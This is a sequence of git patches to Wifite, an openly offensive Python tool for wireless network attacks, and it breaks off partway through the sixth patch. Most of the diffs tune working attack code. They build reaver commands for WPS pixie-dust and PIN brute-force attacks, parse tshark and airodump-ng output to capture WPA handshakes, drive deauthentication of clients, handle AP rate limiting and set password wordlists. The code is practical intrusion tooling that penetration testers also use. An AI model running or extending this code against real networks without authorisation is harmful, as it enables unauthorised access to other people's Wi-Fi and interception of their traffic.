From 842144129a62137a32687ddebc72a9a6789993bf Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 05:16:01 -0400 Subject: [PATCH 01/16] Fixing reaver & wash --- py/AttackWPS.py | 1 - py/Wash.py | 3 +-- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/py/AttackWPS.py b/py/AttackWPS.py index 1cc9537..c24342e 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -62,7 +62,6 @@ class AttackWPS(Attack): '-b', self.target.bssid, '-c', self.target.channel, '-K', '1', # pixie-dust attack - '-a', # Automatically restart session '-vv' # (very) verbose ] diff --git a/py/Wash.py b/py/Wash.py index 7376c5b..80c6dcd 100644 --- a/py/Wash.py +++ b/py/Wash.py @@ -30,8 +30,7 @@ class Wash(object): command = [ 'wash', - '-f', capfile, # Path to cap file - '-C' # Ignore Frame Check Sum errors + '-f', capfile # Path to cap file ] p = Process(command) for line in p.stdout().split('\n'): From b0bd0342d70f6dae5723a3b1c5a0b730ede874cd Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 05:42:28 -0400 Subject: [PATCH 02/16] Airodump writes to csv every second (instead of every 5) --- py/Airodump.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/py/Airodump.py b/py/Airodump.py index 31deb2a..599a30e 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -58,7 +58,8 @@ class Airodump(object): 'airodump-ng', self.interface, '-a', # Only show associated clients - '-w', self.csv_file_prefix # Output file prefix + '-w', self.csv_file_prefix, # Output file prefix + '--write-interval', '1' # Write every second ] if self.channel: command.extend(['-c', str(self.channel)]) From 62503b0d0c8aa7603093674b02b11869d5a12d35 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 09:34:09 -0400 Subject: [PATCH 03/16] Various small fixes + tweaks --- py/AttackWEP.py | 7 +++---- py/AttackWPS.py | 7 ++++--- py/Color.py | 13 ++++++++++++- py/Interface.py | 2 +- py/Scanner.py | 1 + py/Target.py | 6 ++++-- py/Wash.py | 23 +++++++++++------------ 7 files changed, 36 insertions(+), 23 deletions(-) diff --git a/py/AttackWEP.py b/py/AttackWEP.py index 074c7ee..dcf301d 100644 --- a/py/AttackWEP.py +++ b/py/AttackWEP.py @@ -77,8 +77,8 @@ class AttackWEP(Attack): while True: airodump_target = self.wait_for_target(airodump) - Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) ' - % (attack_name, airodump_target.ivs)) + Color.pattack("WEP", airodump_target, "%s attack" % attack_name, "%d IVs" % airodump_target.ivs) + #Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) ' % (attack_name, airodump_target.ivs)) # Check if we cracked it. if aircrack and aircrack.is_cracked(): @@ -219,8 +219,7 @@ class AttackWEP(Attack): attacks_remaining = Configuration.wep_attacks[attack_index + 1:] Color.pl("{+} {G}%d{W} attacks remain ({C}%s{W})" % (len(attacks_remaining), ', '.join(attacks_remaining))) - prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' + - ' or {R}s{W} to {R}stop{W}: ') + prompt = Color.s('{+} type {G}c{W} to {G}continue{W} or {R}s{W} to {R}stop{W}: ') if raw_input(prompt).lower().startswith('s'): return False else: diff --git a/py/AttackWPS.py b/py/AttackWPS.py index c24342e..ce37762 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -62,6 +62,7 @@ class AttackWPS(Attack): '-b', self.target.bssid, '-c', self.target.channel, '-K', '1', # pixie-dust attack + '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] @@ -126,7 +127,7 @@ class AttackWPS(Attack): elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') - Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' @@ -184,7 +185,7 @@ class AttackWPS(Attack): '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, - '-a', # Automatically restart session + '--session', '/dev/null', # Don't restart session '-vv' # verbose ] reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) @@ -273,7 +274,7 @@ class AttackWPS(Attack): if Configuration.wps_skip_rate_limit: Color.pl(state) Color.pl('{!} {R}hit rate limit, stopping{W}\n') - Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break diff --git a/py/Color.py b/py/Color.py index 0fac0ef..54d534a 100644 --- a/py/Color.py +++ b/py/Color.py @@ -21,7 +21,7 @@ class Color(object): # Helper string replacements replacements = { '{+}': ' {W}[{G}+{W}]', - '{!}': ' {W}[{R}!{W}]' + '{!}': ' {O}[{R}!{O}]{W}' } last_sameline_length = 0 @@ -74,6 +74,17 @@ class Color(object): sys.stdout.flush() Color.last_sameline_length = 0 + @staticmethod + def pattack(attack_type, target, attack_name, progress): + ''' + Prints a one-liner for an attack + Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress + [name] ESSID (MAC @ Pwr) Attack_Type: Progress + e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs + ''' + Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % ( + target.essid, target.bssid, target.power, attack_type, attack_name, progress)) + if __name__ == '__main__': Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") print Color.s("{C}Testing{P}String{W}") diff --git a/py/Interface.py b/py/Interface.py index 8bf1cb0..19aa9ba 100644 --- a/py/Interface.py +++ b/py/Interface.py @@ -90,7 +90,7 @@ class Interface(object): output = Process(['ifconfig', iface]).stdout() mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] - match = re.search('HWaddr (%s)' % mac_regex, output) + match = re.search(' (%s)' % mac_regex, output) if not match: raise Exception('Could not find the mac address for %s' % iface) return match.groups()[0].replace('-', ':') diff --git a/py/Scanner.py b/py/Scanner.py index 0d3c47c..319e52a 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -23,6 +23,7 @@ class Scanner(object): self.targets = [] self.target = None # Specific target (based on ESSID/BSSID) + Color.pl("") # Loads airodump with interface/channel/etc from Configuration with Airodump() as airodump: try: diff --git a/py/Target.py b/py/Target.py index 2a09d81..f26bcc9 100644 --- a/py/Target.py +++ b/py/Target.py @@ -103,10 +103,12 @@ class Target(object): power = Color.s('{%s}%s' % (color, power)) wps = Color.s('{O} n/a') - if self.wps: + if self.wps == True: wps = Color.s('{G} yes') - else: + elif self.wps == False: wps = Color.s('{R} no') + else: + wps = Color.s('{O} n/a') clients = ' ' if len(self.clients) == 1: diff --git a/py/Wash.py b/py/Wash.py index 80c6dcd..6fbdbaa 100644 --- a/py/Wash.py +++ b/py/Wash.py @@ -2,9 +2,11 @@ # -*- coding: utf-8 -*- from Process import Process +import re class Wash(object): ''' Wrapper for Wash program. ''' + BSSID_REGEX = re.compile("([A-F0-9\:]{17})", re.IGNORECASE) def __init__(self): pass @@ -33,20 +35,17 @@ class Wash(object): '-f', capfile # Path to cap file ] p = Process(command) - for line in p.stdout().split('\n'): - # Ignore irrelevant lines - if line.strip() == '' or line.startswith('Scanning for'): - continue - bssid = line.split(' ')[0] - for t in targets: - if t.bssid.lower() == bssid.lower(): - # Update the WPS flag - t.wps = True - # Mark other targets as "no" wps support + p.wait() + if p.poll() != 0: + return + + bssids = [bssid.upper() for bssid in Wash.BSSID_REGEX.findall(p.stdout())] for t in targets: - if t.wps: continue - t.wps = False + t.wps = t.bssid.upper() in bssids + if t.bssid.lower() == bssid.lower(): + # Update the WPS flag + t.wps = True if __name__ == '__main__': From c836cb9e6bacc0f7b5ef5e81d9e99ed46b0c745f Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 10:54:24 -0400 Subject: [PATCH 04/16] Fix tshark ssid discovery --- Wifite.py | 2 +- py/Airodump.py | 4 ++-- py/Attack.py | 2 +- py/AttackWPA.py | 16 +++++++++------- py/Color.py | 3 ++- py/Configuration.py | 3 ++- py/Handshake.py | 10 ++++++---- py/Scanner.py | 2 +- 8 files changed, 24 insertions(+), 18 deletions(-) diff --git a/Wifite.py b/Wifite.py index 287c1b7..42a5879 100755 --- a/Wifite.py +++ b/Wifite.py @@ -172,7 +172,7 @@ if __name__ == '__main__': w.main() except Exception, e: Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) - if Configuration.verbose > 0: + if Configuration.verbose > 0 or True: Color.pl('\n{!} {O}Full stack trace below') from traceback import format_exc Color.p('\n{!} ') diff --git a/py/Airodump.py b/py/Airodump.py index 599a30e..d2a8205 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -201,11 +201,11 @@ class Airodump(object): if target.essid_len == 0: # Ignore empty/blank ESSIDs - continue + pass if target.channel == "-1": # Ignore -1 channel - continue + pass targets.append(target) return targets diff --git a/py/Attack.py b/py/Attack.py index d65a887..eddd92f 100644 --- a/py/Attack.py +++ b/py/Attack.py @@ -15,7 +15,7 @@ class Attack(object): def run(self): raise Exception("Unimplemented method: run") - + def wait_for_target(self, airodump): ''' Waits for target to appear in airodump diff --git a/py/AttackWPA.py b/py/AttackWPA.py index a941a78..f10a512 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -38,8 +38,9 @@ class AttackWPA(Attack): output_file_prefix='wpa') as airodump: Color.clear_line() - Color.p('\r{+} {C}WPA-handshake attack{W}: ') - Color.p('{O}waiting{W} for target to appear...') + Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") + #Color.p('\r{+} {C}WPA-handshake attack{W}: ') + #Color.p('{O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) # Get client station MAC addresses @@ -55,9 +56,10 @@ class AttackWPA(Attack): while True: if not deauth_proc or deauth_proc.poll() != None: # Clear line only if we're not deauthing right now - Color.p('\r%s\r' % (' ' * 90)) - Color.p('\r{+} {C}WPA-handshake attack{W}: ') - Color.p('waiting for {C}handshake{W}...') + Color.clear_line() + Color.pattack("WPA", airodump_target, "Handshake capture", "Waiting for handshake...") + #Color.p('\r{+} {C}WPA-handshake attack{W}: ') + #Color.p('waiting for {C}handshake{W}...') time.sleep(1) @@ -97,8 +99,8 @@ class AttackWPA(Attack): airodump_target = self.wait_for_target(airodump) for client in airodump_target.clients: if client.station not in clients: - Color.pl('\r{+} discovered {G}client{W}:' + - ' {C}%s{W}%s' % (client.station, ' ' * 10)) + Color.clear_line() + Color.pl('\r{+} discovered new {G}client{W}: {C}%s{W}' % client.station) clients.append(client.station) # Send deauth to a client or broadcast diff --git a/py/Color.py b/py/Color.py index 54d534a..9331389 100644 --- a/py/Color.py +++ b/py/Color.py @@ -82,8 +82,9 @@ class Color(object): [name] ESSID (MAC @ Pwr) Attack_Type: Progress e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs ''' + essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}" Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % ( - target.essid, target.bssid, target.power, attack_type, attack_name, progress)) + essid, target.bssid, target.power, attack_type, attack_name, progress)) if __name__ == '__main__': Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") diff --git a/py/Configuration.py b/py/Configuration.py index 1141213..efc6795 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -59,7 +59,8 @@ class Configuration(object): Configuration.wordlist = None wordlists = [ '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', - '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt' + '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', + '/usr/share/sqlmap/txt/wordlist.txt' ] for wlist in wordlists: if os.path.exists(wlist): diff --git a/py/Handshake.py b/py/Handshake.py index a7a4060..0312c2f 100644 --- a/py/Handshake.py +++ b/py/Handshake.py @@ -90,22 +90,24 @@ class Handshake(object): cmd = [ 'tshark', '-r', self.capfile, - '-R', 'wlan.fc.type_subtype == 0x08', + '-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05', + '-2', # tshark: -R without -2 is deprecated. '-n' ] proc = Process(cmd, devnull=False) for line in proc.stdout().split('\n'): # Extract src, dst, and essid mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] - match = re.search('(%s) -> (%s).*.*SSID=(.*)$' + match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' % (mac_regex, mac_regex), line) if match == None: # Line doesn't contain src, dst, ssid continue (src, dst, essid) = match.groups() + if dst.lower() == "ff:ff:ff:ff:ff:ff": continue if self.bssid: # We know the BSSID, only return the ESSID for this BSSID. - if self.bssid.lower() == src.lower(): + if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower(): essids.add((src, essid)) else: # We do not know BSSID, add it. @@ -263,7 +265,7 @@ class Handshake(object): hit_Target = False else: # Line does not contain AccessPoint - if hit_target and ', good,' in line: + if hit_target and ', good' in line: bssid_essid_pairs.add( (current_bssid, current_essid) ) return [x for x in bssid_essid_pairs] diff --git a/py/Scanner.py b/py/Scanner.py index 319e52a..6543a05 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -52,7 +52,7 @@ class Scanner(object): Color.p( '\r{+} scanning, found' + ' {G}%d{W} target(s),' % target_count + - ' {G}%d{W} clients.' % client_count + + ' {G}%d{W} client(s).' % client_count + ' {O}Ctrl+C{W} when ready') sleep(1) except KeyboardInterrupt: From 2726381017fd076abc15867bf2025356a63b4a50 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 11:03:10 -0400 Subject: [PATCH 05/16] Changing default wordlists, fix bug in wps/wash --- py/Configuration.py | 2 +- py/Wash.py | 3 --- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/py/Configuration.py b/py/Configuration.py index efc6795..93ff2c2 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -60,7 +60,7 @@ class Configuration(object): wordlists = [ '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', - '/usr/share/sqlmap/txt/wordlist.txt' + '/usr/share/wordlists/fern-wifi/common.txt' ] for wlist in wordlists: if os.path.exists(wlist): diff --git a/py/Wash.py b/py/Wash.py index 6fbdbaa..6256d71 100644 --- a/py/Wash.py +++ b/py/Wash.py @@ -43,9 +43,6 @@ class Wash(object): bssids = [bssid.upper() for bssid in Wash.BSSID_REGEX.findall(p.stdout())] for t in targets: t.wps = t.bssid.upper() in bssids - if t.bssid.lower() == bssid.lower(): - # Update the WPS flag - t.wps = True if __name__ == '__main__': From 890915b9b3772869f80d6c8768d6d869e56a9f47 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 15:27:19 -0400 Subject: [PATCH 06/16] Output target info during WPS attacks. Also using reaver's --no-nacks option --- py/AttackWPA.py | 3 - py/AttackWPS.py | 447 ++++++++++++++++++++++++++---------------------- 2 files changed, 238 insertions(+), 212 deletions(-) diff --git a/py/AttackWPA.py b/py/AttackWPA.py index f10a512..52256e6 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -34,13 +34,10 @@ class AttackWPA(Attack): # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, - skip_wash=True, output_file_prefix='wpa') as airodump: Color.clear_line() Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") - #Color.p('\r{+} {C}WPA-handshake attack{W}: ') - #Color.p('{O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) # Get client station MAC addresses diff --git a/py/AttackWPS.py b/py/AttackWPS.py index ce37762..c4272e6 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- from Attack import Attack +from Airodump import Airodump from Color import Color from Configuration import Configuration from CrackResultWPS import CrackResultWPS @@ -58,113 +59,127 @@ class AttackWPS(Attack): command = [ 'reaver', - '-i', Configuration.interface, - '-b', self.target.bssid, - '-c', self.target.channel, - '-K', '1', # pixie-dust attack + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '--pixie-dust', '1', # pixie-dust attack + '--delay', '0', + '--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] - stdout_write = open(self.stdout_file, 'a') - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = '0) initializing' time_since_last_step = 0 - while True: - time.sleep(1) + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=False, + output_file_prefix='pixie') as airodump: + Color.clear_line() - Color.p('\r{+} {C}WPS pixie-dust attack{W} ') + Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") - stdout_write.flush() - - # Check output from reaver process - stdout = self.get_stdout() - stdout_last_line = stdout.split('\n')[-1] - - (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - - # Check if we cracked it, or if process stopped. - if (pin and psk and ssid) or reaver.poll() != None: - reaver.interrupt() - - # Check one-last-time for PIN/PSK/SSID, in case of race condition. - stdout = self.get_stdout() - (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) - - # Check if we cracked it. - if pin and psk and ssid: - # We cracked it. - bssid = self.target.bssid - Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n') - self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) - self.crack_result.dump() - return True - else: - # Failed to crack, reaver proces ended. - Color.pl('{R}failed: {O}WPS pin not found{W}') + while True: + try: + airodump_target = self.wait_for_target(airodump) + except Exception as e: + Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) + Color.pl("") return False - last_step = step - # Status updates, depending on last line of stdout - if 'Waiting for beacon from' in stdout_last_line: - step = '({C}step 1/8{W}) waiting for beacon' - elif 'Associated with' in stdout_last_line: - step = '({C}step 2/8{W}) waiting to start session' - elif 'Starting Cracking Session.' in stdout_last_line: - step = '({C}step 3/8{W}) waiting to try pin' - elif 'Trying pin' in stdout_last_line: - step = '({C}step 4/8{W}) trying pin' - elif 'Sending EAPOL START request' in stdout_last_line: - step = '({C}step 5/8{W}) sending eapol start request' - elif 'Sending identity response' in stdout_last_line: - step = '({C}step 6/8{W}) sending identity response' - elif 'Sending M2 message' in stdout_last_line: - step = '({C}step 7/8{W}) sending m2 message (may take a while)' - elif 'Detected AP rate limiting,' in stdout_last_line: - if Configuration.wps_skip_rate_limit: - Color.pl('{R}failed: {O}hit WPS rate-limit{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') + stdout_write.flush() + + # Check output from reaver process + stdout = self.get_stdout() + stdout_last_line = stdout.split('\n')[-1] + + (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) + + # Check if we cracked it, or if process stopped. + if (pin and psk and ssid) or reaver.poll() != None: + reaver.interrupt() + + # Check one-last-time for PIN/PSK/SSID, in case of race condition. + stdout = self.get_stdout() + (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) + + # Check if we cracked it. + if pin and psk and ssid: + # We cracked it. + bssid = self.target.bssid + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") + self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) + self.crack_result.dump() + return True + else: + # Failed to crack, reaver proces ended. + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") + return False + + if 'WPS pin not found' in stdout: + Color.pl('{R}failed: {O}WPS pin not found{W}') break - step = '({C}step -/8{W}) waiting for AP rate limit' - if 'WPS pin not found' in stdout: - Color.pl('{R}failed: {O}WPS pin not found{W}') - break + last_step = step + # Status updates, depending on last line of stdout + if 'Waiting for beacon from' in stdout_last_line: + step = '({C}step 1/8{W}) waiting for beacon' + elif 'Associated with' in stdout_last_line: + step = '({C}step 2/8{W}) waiting to start session' + elif 'Starting Cracking Session.' in stdout_last_line: + step = '({C}step 3/8{W}) waiting to try pin' + elif 'Trying pin' in stdout_last_line: + step = '({C}step 4/8{W}) trying pin' + elif 'Sending EAPOL START request' in stdout_last_line: + step = '({C}step 5/8{W}) sending eapol start request' + elif 'Sending identity response' in stdout_last_line: + step = '({C}step 6/8{W}) sending identity response' + elif 'Sending M2 message' in stdout_last_line: + step = '({C}step 7/8{W}) sending m2 message (may take a while)' + elif 'Detected AP rate limiting,' in stdout_last_line: + if Configuration.wps_skip_rate_limit: + Color.pl('{R}failed: {O}hit WPS rate-limit{W}') + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + + ' this kind of failure in the future{W}') + break + step = '({C}step -/8{W}) waiting for AP rate limit' - if step != last_step: - # Step changed, reset step timer - time_since_last_step = 0 - else: - time_since_last_step += 1 + if step != last_step: + # Step changed, reset step timer + time_since_last_step = 0 + else: + time_since_last_step += 1 - if time_since_last_step > Configuration.wps_pixie_step_timeout: - Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) - break + if time_since_last_step > Configuration.wps_pixie_step_timeout: + Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) + break - # TODO: Timeout check - if reaver.running_time() > Configuration.wps_pixie_timeout: - Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) - break + # TODO: Timeout check + if reaver.running_time() > Configuration.wps_pixie_timeout: + Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) + break - # Reaver Failure/Timeout check - fail_count = stdout.count('WPS transaction failed') - if fail_count > Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) - break - timeout_count = stdout.count('Receive timeout occurred') - if timeout_count > Configuration.wps_timeout_threshold: - Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) - break + # Reaver Failure/Timeout check + fail_count = stdout.count('WPS transaction failed') + if fail_count > Configuration.wps_fail_threshold: + Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) + break + timeout_count = stdout.count('Receive timeout occurred') + if timeout_count > Configuration.wps_timeout_threshold: + Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) + break - # Display status of Pixie-Dust attack - Color.p('{W}%s{W}' % step) + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", step) - continue + time.sleep(1) + continue # Attack failed, already printed reason why reaver.interrupt() @@ -182,9 +197,9 @@ class AttackWPS(Attack): # Start reaver process command = [ 'reaver', - '-i', Configuration.interface, - '-b', self.target.bssid, - '-c', self.target.channel, + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, '--session', '/dev/null', # Don't restart session '-vv' # verbose ] @@ -197,141 +212,155 @@ class AttackWPS(Attack): failures = 0 state = 'initializing' - while True: - time.sleep(1) - percent = 100 * float(pin_current) / float(pin_total) + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=False, + output_file_prefix='wps') as airodump: + Color.clear_line() - Color.p('\r{+} {C}WPS PIN attack{W} (') - Color.p('{G}%.2f%% done{W}, ' % percent) - Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)) - Color.p('{R}%d/%d failures{W}) ' % (failures, \ - Configuration.wps_fail_threshold)) + Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") - if failures >= Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures{W}') - break + while True: + try: + airodump_target = self.wait_for_target(airodump) + except Exception as e: + Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) + Color.pl("") + return False + time.sleep(1) + percent = 100 * float(pin_current) / float(pin_total) + Color.clear_line() + status = '{G}%.2f%% done{W}, ' % percent + status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) + status += '{R}%d/%d failures{W}) ' % (failures, Configuration.wps_fail_threshold) + Color.pattack("WPS", airodump_target, "PIN Attack", status) - # Get output - out = self.get_stdout() - - # Clear output file - f = open(self.stdout_file, 'w') - f.write('') - f.close() - - # CHECK FOR CRACK - - (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) - if pin and psk and ssid: - # We cracked it. - self.success = True - Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') - self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) - self.crack_result.dump() - break - - - # PIN PROGRESS - - # Reaver 1.5.* - match = None - for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): - # Look at last entry for "Pin count advanced" to get latest pin count - pass - if match: - # Reset failures on successful try - failures = 0 - groups = match.groups() - pin_current = int(groups[0]) - pin_total = int(groups[1]) - - # Reaver 1.3, 1.4 - match = None - for match in re.finditer('Trying pin (\d+)', out): - if match: - pin = int(match.groups()[0]) - if pin not in pins: - # Reset failures on successful try - failures = 0 - pins.add(pin) - pin_current += 1 - - # Failures - if 'WPS transaction failed' in out: - failures += out.count('WPS transaction failed') - elif 'Receive timeout occurred' in out: - # Reaver 1.4 - failures += out.count('Receive timeout occurred') - - # Status - if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' - if 'Starting Cracking Session' in out: state = '{C}cracking{W}' - # Reaver 1.4 - if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' - - if 'Detected AP rate limiting' in out: - state = '{R}rate-limited{W}' - if Configuration.wps_skip_rate_limit: - Color.pl(state) - Color.pl('{!} {R}hit rate limit, stopping{W}\n') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') + if failures >= Configuration.wps_fail_threshold: + Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') + Color.pl("") break - if 'WARNING: Failed to associate with' in out: - # TODO: Fail after X association failures (instead of just one) - Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') - break + # Get output + out = self.get_stdout() - match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) - if match: - eta = match.groups()[0] - state = '{C}cracking, ETA: {G}%s{W}' % eta + # Clear output file + f = open(self.stdout_file, 'w') + f.write('') + f.close() - match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) - if match: - eta = match.groups()[0] - state = '{C}cracking, ETA: {G}%s{W}' % eta - pins_left = int(match.groups()[1]) + # CHECK FOR CRACK - # Divine pin_current & pin_total from this: - pin_current = 11000 - pins_left + (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) + if pin and psk and ssid: + # We cracked it. + self.success = True + Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') + self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + self.crack_result.dump() + break - # Check if process is still running - if reaver.pid.poll() != None: - Color.pl('{R}failed{W}') - Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') - self.success = False - break - # Output the current state - Color.p(state) + # PIN PROGRESS - ''' - [+] Waiting for beacon from AA:BB:CC:DD:EE:FF - [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) - [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 - [+] Trying pin 12345670. - [+] Pin count advanced: 46. Max pin attempts: 11000 - [!] WPS transaction failed (code: 0x02), re-trying last pin - [!] WPS transaction failed (code: 0x03), re-trying last pin - [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) - [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking - [!] WARNING: 25 successive start failures - [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) - [+] 0.55% complete. Elapsed time: 0d0h2m21s. - [+] Estimated Remaining time: 0d15h11m35s + # Reaver 1.5.* + match = None + for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): + # Look at last entry for "Pin count advanced" to get latest pin count + pass + if match: + # Reset failures on successful try + failures = 0 + groups = match.groups() + pin_current = int(groups[0]) + pin_total = int(groups[1]) - [+] Pin cracked in 7 seconds - [+] WPS PIN: '12345678' - [+] WPA PSK: 'abcdefgh' - [+] AP SSID: 'Test Router' + # Reaver 1.3, 1.4 + match = None + for match in re.finditer('Trying pin (\d+)', out): + if match: + pin = int(match.groups()[0]) + if pin not in pins: + # Reset failures on successful try + failures = 0 + pins.add(pin) + pin_current += 1 - Reaver 1.4: - [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) - [!] WARNING: Receive timeout occurred + # Failures + if 'WPS transaction failed' in out: + failures += out.count('WPS transaction failed') + elif 'Receive timeout occurred' in out: + # Reaver 1.4 + failures += out.count('Receive timeout occurred') - ''' + # Status + if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' + if 'Starting Cracking Session' in out: state = '{C}cracking{W}' + # Reaver 1.4 + if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' + + if 'Detected AP rate limiting' in out: + state = '{R}rate-limited{W}' + if Configuration.wps_skip_rate_limit: + Color.pl(state) + Color.pl('{!} {R}hit rate limit, stopping{W}\n') + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + + ' this kind of failure in the future{W}') + break + + if 'WARNING: Failed to associate with' in out: + # TODO: Fail after X association failures (instead of 